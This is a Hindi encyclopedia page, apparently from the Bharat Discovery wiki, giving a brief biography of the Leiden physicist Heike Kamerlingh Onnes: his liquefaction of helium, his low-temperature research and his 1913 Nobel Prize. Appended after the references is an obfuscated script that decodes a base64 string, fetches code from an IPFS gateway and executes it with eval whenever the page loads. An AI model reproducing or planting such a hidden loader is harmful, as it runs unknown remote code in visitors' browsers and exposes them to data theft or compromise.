ओनेस

भारत डिस्कवरी प्रस्तुति
यशी चौधरी (चर्चा | योगदान) द्वारा परिवर्तित 10:00, 20 जुलाई 2018 का अवतरण (''''ओनेस''' हेक केमरलिंग (1853-1926 ई.) लाइडेन (नेदरलैंड्स) के व...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

ओनेस हेक केमरलिंग (1853-1926 ई.) लाइडेन (नेदरलैंड्स) के वैज्ञानिक थे। प्रसिद्ध क्रायोजेनिक प्रयोगशाला में अति निम्नताप पर उन्होंने शोधकार्य आरंभ किया और हीलियम गैस को द्रव में परिणत करने में उन्हें सफलता मिली। तदनंतर हीलियम द्रव को ठोस में रूपांतरित करने का भी उन्होंने प्रयत्न किया परंतु असफल रहे। इस कार्य को उसी प्रयोगशाला में दूसरे वैज्ञानिक कीसम ने पूरा किया। ओनेस अनुमानत: 0.9 डिग्री परम ताप तक पहुँचने में भी सफल हुए। वे बहुत ही सरल स्वभाव के तथा नवयुवकों को प्रोत्साहित करनेवाले वैज्ञानिक थे। उनको 1912 ई में रमफ़ोर्ड मेडल तथा सन्‌ 1913 में नोबेल पुरस्कार मिला।[1]

वैज्ञानिक उपकरण बनानेवाले प्रशिक्षित युवकों को वे अधिक प्रोत्साहन देते थे। वहाँ के सीखे हुए लोग दूसरी प्रयोगशालाओं में भी बहुत ही मूल्यवान्‌ समझे जाते थे।[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 299 |
  2. सं.ग्रं.–ई. कोहेन : जर्नल ऑव केमिकल सोसायटी (1927); एच.एम.स्मिथ टाँर्च बेअरर्स ऑव केमिस्ट्री।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>